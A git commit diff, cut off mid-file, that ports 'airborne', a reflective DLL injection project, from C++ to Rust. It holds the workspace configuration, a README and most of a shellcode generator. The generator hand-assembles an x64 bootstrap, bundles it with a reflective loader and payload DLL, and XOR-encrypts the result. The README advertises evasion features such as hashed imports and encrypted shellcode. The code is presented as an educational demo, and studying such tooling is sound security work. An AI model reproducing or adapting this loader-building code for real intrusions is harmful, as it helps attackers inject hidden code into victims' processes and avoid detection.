tested builds w/o loader-level obfuscation

This commit is contained in:
17ms 2024-02-11 22:52:08 +02:00
parent 196b93c9bb
commit 08a32b0816
33 changed files with 1834 additions and 1120 deletions

2
.cargo/config Normal file
View File

@ -0,0 +1,2 @@
[build]
target = "x86_64-pc-windows-gnu"

62
.gitignore vendored
View File

@ -1,55 +1,17 @@
# Prerequisites
*.d
# Generated by Cargo
# will have compiled files and executables
debug/
target/
# Object files
*.o
*.ko
*.obj
*.elf
# Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
# More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
# Cargo.lock
# Linker output
*.ilk
*.map
*.exp
# These are backup files generated by rustfmt
**/*.rs.bk
# Precompiled Headers
*.gch
*.pch
# Libraries
*.lib
*.a
*.la
*.lo
# Shared objects (inc. Windows DLLs)
*.dll
*.so
*.so.*
*.dylib
# Executables
*.exe
*.out
*.app
*.i*86
*.x86_64
*.hex
# Debug files
*.dSYM/
*.su
*.idb
# MSVC Windows builds of rustc generate these, which store debugging information
*.pdb
# Kernel Module Compile Results
*.mod*
*.cmd
.tmp_versions/
modules.order
Module.symvers
Mkfile.old
dkms.conf
# CMAke generated makefiles
build/
# Local executables/binaries
*.exe

View File

@ -1,61 +0,0 @@
cmake_minimum_required(VERSION 3.11)
project(
airborne
VERSION 0.1.0
DESCRIPTION "Reflective DLL injection demonstration"
LANGUAGES CXX
)
set(CMAKE_CXX_STANDARD 17)
if(NOT CMAKE_SYSTEM_NAME MATCHES Windows)
message(FATAL_ERROR "Use a cross compilation suitable toolchain with CMAKE_SYSTEM_NAME set to Windows")
endif()
# Build as Release by default
if(NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE Release)
endif()
include(CheckIPOSupported)
check_ipo_supported(RESULT lto_supported OUTPUT error)
# Enable LTO if supported
if(lto_supported)
set(CMAKE_INTERPROCEDURAL_OPTIMIZATION TRUE)
else()
message(WARNING "LTO is not supported: ${error}")
endif()
if(NOT MSVC)
add_compile_options("-Wall" "-Wextra" "-Os")
set(CMAKE_EXE_LINKED_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -s")
else()
add_compile_options("/W4" "/WX" "/O1" "/GL")
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} /INCREMENTAL:NO /OPT:REF /OPT:ICF /PDBSTRIPPED")
set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} /INCREMENTAL:NO /OPT:REF /OPT:ICF /PDBSTRIPPED")
endif()
# *) Shared modules
add_library(shared STATIC shared/crypto.cpp shared/crypto.hpp shared/futils.cpp shared/futils.hpp)
# *) Reflective loader (DLL)
add_library(loader SHARED reflective_loader/loader.cpp reflective_loader/loader.hpp)
target_link_libraries(loader PRIVATE shared)
# *) Payload (DLL)
add_library(payload SHARED payload/payload.cpp)
# *) Shellcode generator (EXE)
add_executable(generator generator/generator.cpp generator/generator.hpp)
target_link_libraries(generator PRIVATE shared)
# *) Injector (EXE)
add_executable(injector injector/injector.cpp)
target_link_libraries(injector PRIVATE shared)
if(NOT MSVC)
foreach(target loader payload generator injector)
add_custom_command(TARGET ${target} POST_BUILD COMMAND ${CMAKE_STRIP} $<TARGET_FILE:${target}>) # Strip binaries
endforeach()
endif()

326
Cargo.lock generated Normal file
View File

@ -0,0 +1,326 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 3
[[package]]
name = "airborne-generator"
version = "0.1.0"
dependencies = [
"airborne-utils",
"clap",
"rand",
"windows-sys",
]
[[package]]
name = "airborne-injector"
version = "0.1.0"
dependencies = [
"airborne-utils",
"lexopt",
"windows-sys",
]
[[package]]
name = "airborne-payload"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]]
name = "airborne-reflective_loader"
version = "0.1.0"
dependencies = [
"airborne-utils",
"rand_core",
"windows-sys",
]
[[package]]
name = "airborne-utils"
version = "0.1.0"
[[package]]
name = "anstream"
version = "0.6.11"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5"
dependencies = [
"anstyle",
"anstyle-parse",
"anstyle-query",
"anstyle-wincon",
"colorchoice",
"utf8parse",
]
[[package]]
name = "anstyle"
version = "1.0.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc"
[[package]]
name = "anstyle-parse"
version = "0.2.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c"
dependencies = [
"utf8parse",
]
[[package]]
name = "anstyle-query"
version = "1.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648"
dependencies = [
"windows-sys",
]
[[package]]
name = "anstyle-wincon"
version = "3.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7"
dependencies = [
"anstyle",
"windows-sys",
]
[[package]]
name = "cfg-if"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
[[package]]
name = "clap"
version = "4.4.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1e578d6ec4194633722ccf9544794b71b1385c3c027efe0c55db226fc880865c"
dependencies = [
"clap_builder",
"clap_derive",
]
[[package]]
name = "clap_builder"
version = "4.4.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4df4df40ec50c46000231c914968278b1eb05098cf8f1b3a518a95030e71d1c7"
dependencies = [
"anstream",
"anstyle",
"clap_lex",
"strsim",
]
[[package]]
name = "clap_derive"
version = "4.4.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442"
dependencies = [
"heck",
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "clap_lex"
version = "0.6.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1"
[[package]]
name = "colorchoice"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
[[package]]
name = "getrandom"
version = "0.2.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5"
dependencies = [
"cfg-if",
"libc",
"wasi",
]
[[package]]
name = "heck"
version = "0.4.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
[[package]]
name = "lexopt"
version = "0.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baff4b617f7df3d896f97fe922b64817f6cd9a756bb81d40f8883f2f66dcb401"
[[package]]
name = "libc"
version = "0.2.152"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
[[package]]
name = "ppv-lite86"
version = "0.2.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
[[package]]
name = "proc-macro2"
version = "1.0.78"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.35"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef"
dependencies = [
"proc-macro2",
]
[[package]]
name = "rand"
version = "0.8.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
dependencies = [
"libc",
"rand_chacha",
"rand_core",
]
[[package]]
name = "rand_chacha"
version = "0.3.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
dependencies = [
"ppv-lite86",
"rand_core",
]
[[package]]
name = "rand_core"
version = "0.6.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
dependencies = [
"getrandom",
]
[[package]]
name = "strsim"
version = "0.10.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
[[package]]
name = "syn"
version = "2.0.48"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "unicode-ident"
version = "1.0.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
[[package]]
name = "utf8parse"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
[[package]]
name = "wasi"
version = "0.11.0+wasi-snapshot-preview1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
[[package]]
name = "windows-sys"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
dependencies = [
"windows-targets",
]
[[package]]
name = "windows-targets"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd"
dependencies = [
"windows_aarch64_gnullvm",
"windows_aarch64_msvc",
"windows_i686_gnu",
"windows_i686_msvc",
"windows_x86_64_gnu",
"windows_x86_64_gnullvm",
"windows_x86_64_msvc",
]
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea"
[[package]]
name = "windows_aarch64_msvc"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef"
[[package]]
name = "windows_i686_gnu"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313"
[[package]]
name = "windows_i686_msvc"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a"
[[package]]
name = "windows_x86_64_gnu"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd"
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e"
[[package]]
name = "windows_x86_64_msvc"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04"

27
Cargo.toml Normal file
View File

@ -0,0 +1,27 @@
[workspace]
resolver = "2"
members = [
"injector",
"payload",
"generator",
"reflective_loader",
"utils"
]
[profile.release]
opt-level = "z" # Optimize for size, but also turn off loop vectorization.
lto = true # Enable Link Time Optimization
codegen-units = 1 # Reduce number of codegen units to increase optimizations.
panic = "abort" # Abort on panic
strip = true # Automatically strip symbols from the binary.
[profile.dev]
opt-level = "z" # Optimize for size, but also turn off loop vectorization.
lto = true # Enable Link Time Optimization
codegen-units = 1 # Reduce number of codegen units to increase optimizations.
panic = "abort" # Abort on panic
strip = true # Automatically strip symbols from the binary.
# More information about the profile attributes: https://doc.rust-lang.org/cargo/reference/profiles.html

View File

@ -1,6 +1,6 @@
MIT License
Copyright (c) 2023 17ms
Copyright (c) 2024 17ms
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal

View File

@ -1,4 +1,4 @@
# Shellcode reflective DLL injection in C++
# Shellcode reflective DLL injection in Rust
Reflective DLL injection demo for fun and education. In practical applications, there's significant scope for enhancing build sizes, obfuscation, and delivery logic.
@ -8,26 +8,31 @@ Reflective DLL injection demo for fun and education. In practical applications,
```shell
.
├── build.sh # Build script (cmake & make)
├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data)
├── injector # PoC injector
├── payload # PoC payload (DllMain & PrintMessage(lpUserData))
├── reflective_loader # sRDI implementation
├── shared # Common cryptographic & file modules
└── toolchains # Cross-compilation toolchains (linux & darwin)
├── payload # PoC payload (DllMain and PrintMessage)
└── reflective_loader # sRDI implementation
```
### Features
- Compact filesize (~14 kB)
- Hashed import names & indirect function calls
- Randomized export iteration & IAT patching
- XOR encryption for shellcode (randomized key generated during shellcode generation)
- Randomized payload export iteration & IAT patching
- XOR encryption for shellcode (shellcode generation specific keys)
Check out [Alcatraz](https://github.com/weak1337/Alcatraz/) for additional obfuscation for the shellcode/injector.
### Usage
Compile the libraries and executables with the included `build.sh` shellscript (if cross-compiling).
The following command compiles the DLLs and executables into `target`:
```shell
$ cargo build --release
```
1. Generate shellcode containing the loader and the payload
2. Inject the created shellcode into target
### Disclaimer

View File

@ -1,25 +0,0 @@
#!/usr/bin/env bash
CORES=$(nproc)
USED=$(($CORES / 2))
case $(uname -a) in
Linux*)
echo "[+] Using Linux toolchain"
TOOLCHAIN="linux-mingw-w64-x86_64.cmake"
;;
Darwin*)
echo "[+] Using Darwin toolchain"
TOOLCHAIN="darwin-mingw-w64-x86_64.cmake"
;;
esac
echo "[+] Running CMake with specified toolchain, outputting to build/"
if ! cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/$TOOLCHAIN -B build
then
echo "[!] CMake failed, aborting build"
exit 1
fi
echo "[+] Running Make with $USED threads"
make -j$USED -C build

18
generator/Cargo.toml Normal file
View File

@ -0,0 +1,18 @@
[package]
name = "airborne-generator"
version = "0.1.0"
edition = "2021"
[dependencies]
clap = {version = "4.4.18", features = ["derive"] }
rand = "0.8.5"
airborne-utils = { path = "../utils" }
[dependencies.windows-sys]
version = "0.52.0"
features = [
"Win32_Foundation",
"Win32_System_SystemServices",
"Win32_System_Diagnostics_Debug",
"Win32_System_SystemInformation"
]

View File

@ -1,266 +0,0 @@
#include "generator.hpp"
#include <string>
#include <vector>
#include "../shared/crypto.hpp"
#include "../shared/futils.hpp"
int main(int argc, char **argv) {
uint8_t flag = false;
std::string loaderPath, payloadPath, funcName, funcParameter, outputPath;
const char *shortOptions = "l:p:n:a:o:fh";
static struct option longOptions[] = {
{"loader", required_argument, nullptr, 'l'},
{"payload", required_argument, nullptr, 'p'},
{"function", required_argument, nullptr, 'n'},
{"parameter", required_argument, nullptr, 'a'},
{"output", required_argument, nullptr, 'o'},
{"flag", no_argument, nullptr, 'f'},
{"help", no_argument, nullptr, 'h'},
};
if (argc < 9) {
PrintHelp(argv);
return 1;
}
while (1) {
const auto opt = getopt_long(argc, argv, shortOptions, longOptions, nullptr);
if (-1 == opt) {
break;
}
switch (opt) {
case 'l':
loaderPath = optarg;
break;
case 'p':
payloadPath = optarg;
break;
case 'n':
funcName = optarg;
break;
case 'a':
funcParameter = optarg;
break;
case 'o':
outputPath = optarg;
break;
case 'f':
flag = true;
break;
case 'h':
PrintHelp(argv);
return 0;
default:
PrintHelp(argv);
return 1;
}
}
std::cout << "[+] Loader path: " << loaderPath << std::endl;
std::cout << "[+] Payload path: " << payloadPath << std::endl;
std::cout << "[+] Output path: " << outputPath << std::endl;
auto loaderContents = ReadFromFile(loaderPath);
auto payloadContents = ReadFromFile(payloadPath);
// Compose the complete shellcode from loader, payload, and bootstrap
std::vector<BYTE> bootstrap;
DWORD funcParameterHash = CalculateHash(funcParameter);
/*
1.) Save the current location in memory for calculating offsets later
*/
// Call the next instruction (push next instruction address to stack)
bootstrap.push_back(0xe8);
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
// pop rcx -> Pop the value saved on the stack into rcx to caputre our current location in memory
bootstrap.push_back(0x59);
// mov r8, rcx -> Copy the value of rcx into r8 before starting to modify rcx
bootstrap.push_back(0x49);
bootstrap.push_back(0x89);
bootstrap.push_back(0xc8);
/*
2.) Align the stack and create shadow space
*/
// push rsi -> Save the original value
bootstrap.push_back(0x56);
// mov rsi, rsp -> Stores the current stack pointer in rsi for later
bootstrap.push_back(0x48);
bootstrap.push_back(0x89);
bootstrap.push_back(0xe6);
// and rsp, 0xfffffffffffffff0 -> Align the stack to 16 bytes
bootstrap.push_back(0x48);
bootstrap.push_back(0x83);
bootstrap.push_back(0xe4);
bootstrap.push_back(0xf0);
// sub rsp, 0x30 -> (48 bytes) Create shadow space on the stack (required for x64, minimum of 32 bytes required for rcx, rdx, r8, and r9)
bootstrap.push_back(0x48);
bootstrap.push_back(0x83);
bootstrap.push_back(0xec);
bootstrap.push_back(6 * 8); // 6 (args) * 8 (bytes)
/*
3.) Setup reflective loader parameters: Place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
*/
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) -> (32 bytes) Push in the shellcode base address as the 5th argument
bootstrap.push_back(0x48);
bootstrap.push_back(0x89);
bootstrap.push_back(0x4c);
bootstrap.push_back(0x24);
bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) -> Modify the 5th argument to point to the start of the real shellcode base address
bootstrap.push_back(0x48);
bootstrap.push_back(0x83);
bootstrap.push_back(0x6c);
bootstrap.push_back(0x24);
bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)
bootstrap.push_back(5); // Minus 5 bytes (because call 0x00 is 5 bytes to get the real shellcode base address)
// mov dword ptr [rsp + 0x28], <flags> -> (40 bytes) Push in the flags as the 6th argument
bootstrap.push_back(0xc7);
bootstrap.push_back(0x44);
bootstrap.push_back(0x24);
bootstrap.push_back(5 * 8); // 5 (args) * 8 (bytes)
bootstrap.push_back(flag);
/*
4.) Setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
*/
// mov r9, <funcParameterSize> -> Copy the 4th parameter, the size of the function parameter, into r9
bootstrap.push_back(0x41);
bootstrap.push_back(0xb9);
auto funcParameterSize = static_cast<DWORD>(funcParameter.size());
bootstrap.push_back(static_cast<BYTE>(funcParameterSize));
// add r8, <funcParameterOffset> + <payloadSize> -> Copy the 3rd parameter, the offset of the function parameter, into r8 and add the payload size
bootstrap.push_back(0x49);
bootstrap.push_back(0x81);
bootstrap.push_back(0xc0);
auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size();
for (size_t i = 0; i < sizeof(funcParameterOffset); i++) {
bootstrap.push_back(static_cast<BYTE>(funcParameterOffset >> (i * 8) & 0xff));
}
// mov edx, <funcParameterHash> -> Copy the 2nd parameter, the hash of the function parameter, into edx
bootstrap.push_back(0xba);
for (size_t i = 0; i < sizeof(funcParameterHash); i++) {
bootstrap.push_back(static_cast<BYTE>(funcParameterHash >> (i * 8) & 0xff));
}
// add rcx, <payloadOffset> -> Copy the 1st parameter, the address of the payload, into rcx
bootstrap.push_back(0x48);
bootstrap.push_back(0x81);
bootstrap.push_back(0xc1);
auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
for (size_t i = 0; i < sizeof(payloadOffset); i++) {
bootstrap.push_back(static_cast<BYTE>(payloadOffset >> (i * 8) & 0xff));
}
/*
5.) Call the reflective loader
*/
// Call <reflectiveLoaderAddress> -> Call the reflective loader address
bootstrap.push_back(0xe8);
auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size();
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) {
bootstrap.push_back(static_cast<BYTE>(reflectiveLoaderAddress >> (i * 8) & 0xff));
}
// Add padding
bootstrap.push_back(0x90);
bootstrap.push_back(0x90);
/*
6.) Restore the stack and return to the original location (caller)
*/
// mov rsp, rsi -> Restore the original stack pointer
bootstrap.push_back(0x48);
bootstrap.push_back(0x89);
bootstrap.push_back(0xf4);
// pop rsi -> Restore the original value
bootstrap.push_back(0x5e);
// ret -> Return to the original location
bootstrap.push_back(0xc3);
// Add padding
bootstrap.push_back(0x90);
bootstrap.push_back(0x90);
if (bootstrap.size() != BOOTSTRAP_LEN) {
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl;
return 1;
}
std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
std::cout << "[+] Loader size: " << loaderContents.size() << std::endl;
std::cout << "[+] Payload size: " << payloadContents.size() << std::endl;
/*
Form the complete shellcode with the following structure:
- Bootstrap
- RDI shellcode
- Payload DLL bytes
- User data
*/
bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end());
bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end());
// XOR with a random content length key
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
auto key = GenerateKey(bootstrap.size());
XorCipher(&bootstrap, key);
std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
WriteToFile(outputPath, bootstrap);
std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl;
auto keyPath = outputPath + ".key";
WriteToFile(keyPath, key);
std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl;
return 0;
}
void PrintHelp(char **argv) {
std::cout << "\nUsage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
std::cout << "\nArguments (required):" << std::endl;
std::cout << "\t-l, --loader Path to loader file" << std::endl;
std::cout << "\t-p, --payload Path to payload file" << std::endl;
std::cout << "\t-n, --function Function name to call inside payload" << std::endl;
std::cout << "\t-a, --parameter Function parameter to pass to the called function" << std::endl;
std::cout << "\t-o, --output Path to output file" << std::endl;
std::cout << "\nOptions:" << std::endl;
std::cout << "\t-f, --flag Flag to run defined payload's defined function instead of DllMain" << std::endl;
std::cout << "\t-h, --help Print this help message\n"
<< std::endl;
}

View File

@ -1,10 +0,0 @@
#pragma once
#include <getopt.h>
#include <windows.h>
#include <iostream>
constexpr auto BOOTSTRAP_LEN = 85;
void PrintHelp(char **argv);

379
generator/src/main.rs Normal file
View File

@ -0,0 +1,379 @@
use std::{collections::BTreeMap, ffi::CStr, fs, path::PathBuf, slice::from_raw_parts};
use airborne_utils::calc_hash;
use clap::Parser;
use windows_sys::Win32::{
System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
System::{
Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_SECTION_HEADER},
SystemServices::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY},
},
};
#[derive(Parser, Debug)]
#[command(version)]
struct Args {
/// Path to the sRDI loader DLL
#[arg(short, long = "loader")]
loader_path: PathBuf,
/// Path to the payload DLL
#[arg(short, long = "payload")]
payload_path: PathBuf,
/// Name of the function to call in the payload DLL
#[arg(short, long = "function")]
function_name: String,
/// Parameter to pass to the function
#[arg(short = 'n', long)]
parameter: String,
/// Path to the output file
#[arg(short, long = "output")]
output_path: PathBuf,
/// Flag to pass to the loader (by default DllMain is called)
#[arg(short, long, default_value_t = 0)]
flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap
}
// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
const LOADER_ENTRY_NAME: &str = "loader";
const BOOTSTRAP_TOTAL_LENGTH: u32 = 79;
fn main() {
let args = Args::parse();
// preserve the path from being dropped
let output_path = args.output_path.clone();
let loader_path_str = args.loader_path.to_str().unwrap();
let payload_path_str = args.payload_path.to_str().unwrap();
let output_path_str = args.output_path.to_str().unwrap();
println!("[+] reflective loader: {}", loader_path_str);
println!("[+] payload: {}", payload_path_str);
println!("[+] output: {}", output_path_str);
let mut loader_b = fs::read(args.loader_path).expect("failed to read sRDI DLL");
let mut payload_b = fs::read(args.payload_path).expect("failed to read payload DLL");
let function_hash = calc_hash(args.function_name.as_bytes());
let mut shellcode = gen_sc(
&mut loader_b,
&mut payload_b,
function_hash,
args.parameter,
args.flag,
);
println!("\n[+] xor'ing shellcode");
let key = gen_xor_key(shellcode.len());
airborne_utils::xor_cipher(&mut shellcode, &key);
let mut key_output_path = output_path.clone().into_os_string();
key_output_path.push(".key");
let key_output_path_str = key_output_path.to_str().unwrap();
println!("\n[+] writing shellcode to '{}'", output_path_str);
fs::write(output_path, shellcode).expect("failed to write shellcode to output file");
println!("[+] writing xor key to '{}'", key_output_path_str);
fs::write(key_output_path, key).expect("failed to write xor key to output file");
}
fn gen_sc(
loader_b: &mut Vec<u8>,
payload_b: &mut Vec<u8>,
function_hash: u32,
parameter: String,
flag: u32,
) -> Vec<u8> {
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)
.expect("failed to get loader entry point");
let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize;
println!("[+] loader offset: {:#x}", loader_offset);
// 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode
// TODO: clean up & fix 'call to push immediately after creation' compiler warning by
// calculating little-endian representations of variables (flag, parameter length & offset,
// function hash, payload offset, loader address) beforehand
let mut bootstrap: Vec<u8> = Vec::new();
/*
1.) save the current location in memory for calculating offsets later
*/
// call 0x00 (this will push the address of the next function to the stack)
bootstrap.push(0xe8);
bootstrap.push(0x00);
bootstrap.push(0x00);
bootstrap.push(0x00);
bootstrap.push(0x00);
// pop rcx - this will pop the value we saved on the stack into rcx to capture our current location in memory
bootstrap.push(0x59);
// mov r8, rcx - copy the value of rcx into r8 before we start modifying RCX
bootstrap.push(0x49);
bootstrap.push(0x89);
bootstrap.push(0xc8);
/*
2.) align the stack and create shadow space
*/
// push rsi - save original value
bootstrap.push(0x56);
// mov rsi, rsp - store our current stack pointer for later
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0xe6);
// and rsp, 0x0FFFFFFFFFFFFFFF0 - align the stack to 16 bytes
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0xe4);
bootstrap.push(0xf0);
// sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0xec);
bootstrap.push(6 * 8); // 6 args that are 8 bytes each
/*
3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
*/
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0x4C);
bootstrap.push(0x24);
bootstrap.push(4 * 8); // 5th arg
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0x6C);
bootstrap.push(0x24);
bootstrap.push(4 * 8); // 5th arg
bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector
// mov dword ptr [rsp + 0x28], <flag> - (40 bytes) Push arg 6 just above shadow space
bootstrap.push(0xC7);
bootstrap.push(0x44);
bootstrap.push(0x24);
bootstrap.push(5 * 8); // 6th arg
bootstrap.append(&mut flag.to_le_bytes().to_vec().clone());
/*
4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
*/
// mov r9, <parameter_length> - copy the 4th parameter, which is the length of the user data into r9
bootstrap.push(0x41);
bootstrap.push(0xb9);
let parameter_length = parameter.len() as u32; // This must u32 or it breaks assembly
bootstrap.append(&mut parameter_length.to_le_bytes().to_vec().clone());
// add r8, <parameter_offset> + <payload_length> - copy the 3rd parameter, which is address of the user function into r8 after calculation
bootstrap.push(0x49);
bootstrap.push(0x81);
bootstrap.push(0xc0); // minus 5 because of the call 0x00 instruction
let parameter_offset =
(BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32 + payload_b.len() as u32;
bootstrap.append(&mut parameter_offset.to_le_bytes().to_vec().clone());
// mov edx, <prameter_hash> - copy the 2nd parameter, which is the hash of the user function into edx
bootstrap.push(0xba);
bootstrap.append(&mut function_hash.to_le_bytes().to_vec().clone());
// add rcx, <payload_offset> - copy the 1st parameter, which is the address of the user dll into rcx after calculation
bootstrap.push(0x48);
bootstrap.push(0x81);
bootstrap.push(0xc1); // minus 5 because of the call 0x00 instruction
